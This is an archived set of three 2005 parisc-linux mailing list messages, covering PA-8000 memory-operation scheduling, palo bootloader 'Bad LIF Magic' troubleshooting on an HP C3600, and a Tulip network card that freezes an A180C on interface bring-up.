Date: Thu, 6 Jan 2005 15:55:17 -0700
Lines: 73
Approved: news@gmane.org
Message-ID: <20050106225517.GA21450@colo.lackof.org>
References: <20050104233920.GB2857@colo.lackof.org>
	<200501050000.j0500iKD024978@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623641 12179 80.91.229.3 (22 Nov 2014 02:34:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2005 22:55:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 06 Jan 2005 23:55:48 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 198E43BE6B; Thu,  6 Jan 2005 15:55:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31455-10; Thu, 6 Jan 2005 15:55:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 653023BE71; Thu,  6 Jan 2005 15:55:25 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E3C393BE6F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jan 2005 15:55:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 31455-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 6 Jan 2005 15:55:20 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id B3EE53BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jan 2005 15:55:19 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 26E77298059;
	Thu,  6 Jan 2005 15:55:19 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23035-03; Thu, 6 Jan 2005 15:55:17 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 97667298029; Thu,  6 Jan 2005 15:55:17 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200501050000.j0500iKD024978@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22258

On Tue, Jan 04, 2005 at 07:00:43PM -0500, John David Anglin wrote:
> Grant Grundler wrote:
> > The pipeline on PA-8x00 can load 4 instructions at a time.

My statement happens to be correct but is misleading.
And I misunderstood it too.

The system does "fetch" 4 insn at a time but can't execute/retire
4 mem ops at a time.  PCX-U can only handle two memory ops per cycle
as (correctly) described by the GCC machine definition below.


> This is what the GCC machine definitions says:

Thanks for digging this up. I definitely was confused about
some of the details.

> ;; The PA8000 has a large (56) entry reorder buffer that is split between
> ;; memory and non-memory operations.
> ;;
> ;; The PA8000 can issue two memory and two non-memory operations per cycle to
> ;; the function units, with the exception of branches and multi-output
> ;; instructions.  The PA8000 can retire two non-memory operations per cycle
> ;; and two memory operations per cycle, only one of which may be a store.

Yes, this is correct.  I'm told this is true for all PA-8x00 CPUs.

I was confused. The "load-store unit" describes one unit that can
only do one load or one store.

Each instruction queue is also divided into even and odd slots.
The functional units are assigned to either an even or odd slot.
Ie two loads in adjacent slots will use both load-store units.
two loads in odd slots will serialize. That shouldn't be an issue
for copy_user_page_asm but it would be good if gcc is aware of it.

Further, the PCX-U cache accesses are serialized when to the same cacheline.
The copy_user_page_asm loop should be restructured to interleave accesses
to the two 64 byte cachelines handled in each iteration of the loop.
This won't matter for stores at the "tail end" of the loop but will
help with the loads at the front of the loop.

> ;; Given the large reorder buffer, the processor can hide most latencies.

Yes. I'm told the re-order buffers (aka "memory ops queue") should be
sufficient to hide scheduling issues. So we don't have to sweat
too many details if we get it "close enough".

> ;; According to HP, they've got the best results by scheduling for retirement
> ;; bandwidth with limited latency scheduling for floating point operations.
> ;; Latency for integer operations and memory references is ignored.

Along this line, according to the specs, PCX-U has a "best case load
latency of three cycles".
This is because of "one cycle for address calculation and 2 cycles for
off chip cache access". Later CPUs are 2 cycles.
Restructuring the USE6REGs code might help PCX-U.

> ;; It's worth noting that there is no way to saturate all the functional
> ;; units on the PA8000 as there is not enough issue bandwidth.

Agreed.
But we do saturate the load-store units in the copy_user_page_asm code.
At least for short bursts.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Fwd: RE: Hp c3600 Gentoo Installation troubles
Date: Fri, 7 Jan 2005 10:48:11 +0100
Lines: 117
Approved: news@gmane.org
Message-ID: <41C968020000397C@mail-3-bnl.tiscali.it>
References: <41C9680200003964@mail-3-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623641 12181 80.91.229.3 (22 Nov 2014 02:34:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Ben Fisher" <bfisher@intech-intl.com>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2005 09:48:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 07 Jan 2005 10:48:47 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 63B443BE70; Fri,  7 Jan 2005 02:48:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05797-10; Fri, 7 Jan 2005 02:48:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DE6183BE71; Fri,  7 Jan 2005 02:48:23 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71FB33BE70
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Jan 2005 02:48:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05797-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 7 Jan 2005 02:48:16 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (unknown [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id 9E5D73BE6F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Jan 2005 02:48:15 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.121)
	by mail-r3.tiscali.it with ESMTP; 07 Jan 2005 10:48:14 +0100
Original-Received: from mail-3-bnl.mail.tiscali.sys ([10.39.115.133]
	helo=mail-3-bnl.tiscali.it)
	by mrq-1.tiscalinet.it with esmtp (Exim 4.43)
	id 1Cmqj6-0000y5-GC; Fri, 07 Jan 2005 10:48:14 +0100
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP;
	Fri, 7 Jan 2005 10:48:11 +0100
In-Reply-To: <41C9680200003964@mail-3-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22259

Hello Ben, 

Because of following pb:
> The following message to  was undeliverable.
> The reason for the problem:
> 5.1.0 - Unknown address error 554-'Service unavailable; Client host [21=
3.205.37.211]
blocked using bl.spamcop.net;  Blocked - see http://www.spamcop.net/bl.sh=
tml?213.205.37.211'
>
> Final-Recipient: rfc822;bfisher@intech-intl.com
>Action: failed
> Status: 5.0.0 (permanent failure)
> Diagnostic-Code: smtp; 5.1.0 - Unknown address error 554-'Service unava=
ilable;
Client host [213.205.37.211] blocked > using bl.spamcop.net; Blocked - se=
e
http://www.spamcop.net/bl.shtml?213.205.37.211' (delivery attempts: 0)
> Reporting-MTA: dns; mail-r3.tiscali.it

I resent you my notice via p-l :-)
> -- Original Message --
> Date: Fri, 7 Jan 2005 10:25:26 +0100
> From: "Joel Soete" <soete.joel@tiscali.be>
> Subject: RE: [parisc-linux] Fwd: RE: Hp c3600 Gentoo Installation troub=
les
> To: "Ben Fisher" <bfisher@intech-intl.com>
> 
> 
> Hello Ben,
> 
> >
> > To eliminate other possibilities, I re-partitioned my disk according
to
> the
> > install manual (all primary) and started over.
> Cool (good idea :-)
> 
> >  After a few issues with
> > kernel compilation (I could not get the 64 bit version to work at all=
!
> -
> > no
> > hppa 64 bit gcc compiler, or something like that), I copied the compi=
led
> > kernel to the /boot directory, as well as everything else the guide
> > recommends.  After modifying the /etc/palo.conf file and running:
> >
> > # palo
> >
> > I get the following result:
> >
> > Palo version 1.2 root@LiveCD Wen Jan 5 21:35:19 EST 2005
> Oops '1.2 version'  now 1.5 (I do vaguely remember of an issue for 9Gb
disk
> but I don't remember exactly when it was fixed)
> It could be a good idea to ask also to build new LiveCd with this newer=

> palo?
> 
> > Partition Start (MB)  End (MB)   	ID   	Type
> > 1		1	16	f0	Palo
> > 2		17	78	83	EXT2
> > 3		79	1033	82	SWAP
> > 4		1034	8678	83	EXT2
> > IPL: ADDR 16384  Size 34816 Entry 0x0
> > Ko 0x0 ksz 0 k640 0x0 k64sz 0 rdo 0 rdsz 0
> > <2/kernel-2.6.7 ROOT=3D/dev/sda4 HOME=3D/>
> > IPL: ADDR 16384  Size 34816 Entry 0x0
> > Ko 0x0 ksz 0 k640 0x0 k64sz 0 rdo 0 rdsz 0
> > <2/kernel-2.6.7 ROOT=3D/dev/sda4 HOME=3D/>
> >
> Look good to me too
> 
> > I get the same thing after re-emerging palo, in hopes that something
was
> > installed wrong.
> >
> > After exiting, unmounting, and rebooting, I still get the same messag=
e:
> >
> > IPL error:  Bad LIF Magic
> >
> ???
> Excepted a bug of which I don't remember in palo, the only other possib=
ilty
> I can see is  that in fact you have 2 disk in your system?
> Linux using sda as the one at scsi id 5 and sdb the scsi id 6 palo woul=
d
> so now be installed on sda (id 5 );
> while in general for hp ux it is usual to choose as primary boot disk
the
> one at scsi id 6 (where alway stand hpux ipl but the rest of OS removed=
).
> 
> A way to verify would be to interupt the auto boot:
> Main Menu: sea ipl
> 
> would show your boot devices?
> 
Hth,
     Joel


-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Daniel Buenestado" <danielbuenestado@escador.es>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problem with Digital-21440-AF(J3516A) network cards
Date: Fri, 7 Jan 2005 17:47:06 +0100
Lines: 348
Approved: news@gmane.org
Message-ID: <AGRMAIL11W0nzlk81ZX00001209@agrmail11.agresso.es>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1351788597=="
X-Trace: ger.gmane.org 1416623641 12185 80.91.229.3 (22 Nov 2014 02:34:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:01 +0000 (UTC)
Cc: djbuenes@gmail.com
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2005 16:47:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 07 Jan 2005 17:47:58 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3977A3BE6F; Fri,  7 Jan 2005 09:47:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10686-03; Fri, 7 Jan 2005 09:47:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id ABD393BE72; Fri,  7 Jan 2005 09:47:30 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 831A93BE6F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Jan 2005 09:47:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10686-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 7 Jan 2005 09:47:22 -0700 (MST)
Original-Received: from agrmail11.agresso.es (18.Red-80-36-94.pooles.rima-tde.net
	[80.36.94.18])
	by free.linux.hp.com (Postfix) with ESMTP id 3A2693BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  7 Jan 2005 09:47:11 -0700 (MST)
Original-Received: from MILENA ([192.168.200.17]) by agrmail11.agresso.es with
	Microsoft SMTPSVC(6.0.3790.211); Fri, 7 Jan 2005 17:47:07 +0100
X-Mailer: Microsoft Office Outlook, Build 11.0.6353
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
Thread-Index: AcT02ILG3Xiq2HMIRyOTFPnGuui4bQ==
X-OriginalArrivalTime: 07 Jan 2005 16:47:07.0509 (UTC)
	FILETIME=[86372250:01C4F4D8]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22260

This is a multi-part message in MIME format.

--===============1351788597==
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0034_01C4F4E0.E774F530"

This is a multi-part message in MIME format.

------=_NextPart_000_0034_01C4F4E0.E774F530
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

Hello,

 

I am having some issues to get  a J3516A network card (Digital-21440-AF
chipset) working under Linux on an A180C / 256MB ram / 9GB SCSI box.

 

I have tried with both kernel 2.4.17-32 and 2.6.8.1-1-32, including latest
apt-get upgrade to unstable, but still having the same issue.

 

Problem is as follows:

-network card has 2 ports which are assigned to eth1 and eth2 (internal
motherboard nic gets eth0)

-when cold booting the machine, if eth1 or eth2 have a network cable plugged
in, the moment linux tries to bring up the interface, complete system
freezes

-this also happens when issuing "ifup eth1" from the shell prompt: system
stops responding and I have to power cycle it

-problem doesn't happen if you bring up the interface without network cable,
then plug cable in

-once the nic has been enabled and cable plugged once, a software reboot
(ie: not pushing the button) doesn't get stuck when enabling interface again

 

I have been searching in the mailing list and the internet, looking for
related issues but couldn't find anything. Also thought it could be a broken
hardware issue, but I have reproduced this on three different machines (same
configuration)

 

Some extra information (from dmesg):

(..)

5. HP HSC-PCI Cards (4) at 0xfff84000 [8/4], versions 0x4, 0x0, 0x9d

(.)

Linux NET4.0 for Linux 2.4

(.)

Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)

tulip0: no phy info, aborting mtable build

tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.

eth0: Digital DS21143 Tulip rev 48 at 0xff00, 00:10:83:03:3A:92, IRQ 96.

tulip1:  MII transceiver #1 config 3100 status 7849 advertising 01e1.

eth1: Digital DS21140 Tulip rev 34 at 0x10000, 10:00:36:83:62:E4, IRQ 129.

tulip2:  MII transceiver #1 config 3100 status 7849 advertising 01e1.

eth2: Digital DS21140 Tulip rev 34 at 0x10080, 10:00:36:83:63:E4, IRQ 130.

(.)

 

Has anyone experienced similar issues? any clue how to make this card work
under Linux?, any help would be greatly appreciated!

 

Thanks

Dani


------=_NextPart_000_0034_01C4F4E0.E774F530
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	font-family:Arial;
	color:windowtext;}
@page Section1
	{size:612.0pt 792.0pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Hello,<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I am having some issues to get &nbsp;a J3516A network =
card (Digital-21440-AF
chipset) working under Linux on an A180C / 256MB ram / 9GB SCSI =
box.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I have tried with both kernel 2.4.17-32 and =
2.6.8.1-1-32,
including latest apt-get upgrade to unstable, but still having the same =
issue.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Problem is as follows:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>-network card has 2 ports which are assigned to eth1 =
and
eth2 (internal motherboard nic gets eth0)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>-when cold booting the machine, if eth1 or eth2 have =
a
network cable plugged in, the moment linux tries to bring up the =
interface,
complete system freezes<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>-this also happens when issuing &#8220;ifup =
eth1&#8221; from
the shell prompt: system stops responding and I have to power cycle =
it<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>-problem doesn&#8217;t happen if you bring up the =
interface
without network cable, then plug cable in<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>-once the nic has been enabled and cable plugged =
once, a
software reboot (ie: not pushing the button) doesn&#8217;t get stuck =
when
enabling interface again<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I have been searching in the mailing list and the =
internet, looking
for related issues but couldn&#8217;t find anything. Also thought it =
could be a
broken hardware issue, but I have reproduced this on three different =
machines
(same configuration)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Some extra information (from =
dmesg):<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>(&#8230;.)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>5. HP HSC-PCI Cards (4) at 0xfff84000 [8/4], versions =
0x4,
0x0, 0x9d<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>(&#8230;)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Linux NET4.0 for Linux =
2.4<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>(&#8230;)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Linux Tulip driver version 0.9.15-pre9 (Nov 6, =
2001)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>tulip0: no phy info, aborting mtable =
build<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>tulip0:&nbsp; MII transceiver #1 config 1000 status =
782d
advertising 01e1.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>eth0: Digital DS21143 Tulip rev 48 at 0xff00,
00:10:83:03:3A:92, IRQ 96.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>tulip1:&nbsp; MII transceiver #1 config 3100 status =
7849
advertising 01e1.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>eth1: Digital DS21140 Tulip rev 34 at 0x10000,
10:00:36:83:62:E4, IRQ 129.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>tulip2:&nbsp; MII transceiver #1 config 3100 status =
7849
advertising 01e1.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>eth2: Digital DS21140 Tulip rev 34 at 0x10080,
10:00:36:83:63:E4, IRQ 130.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>(&#8230;)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Has anyone experienced similar issues? any clue how =
to make
this card work under Linux?, any help would be greatly =
appreciated!<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Thanks<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Dani<o:p></o:p></span></font></p>

</div>

</body>

</html>

------=_NextPart_000_0034_01C4F4E0.E774F530--


--===============1351788597==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
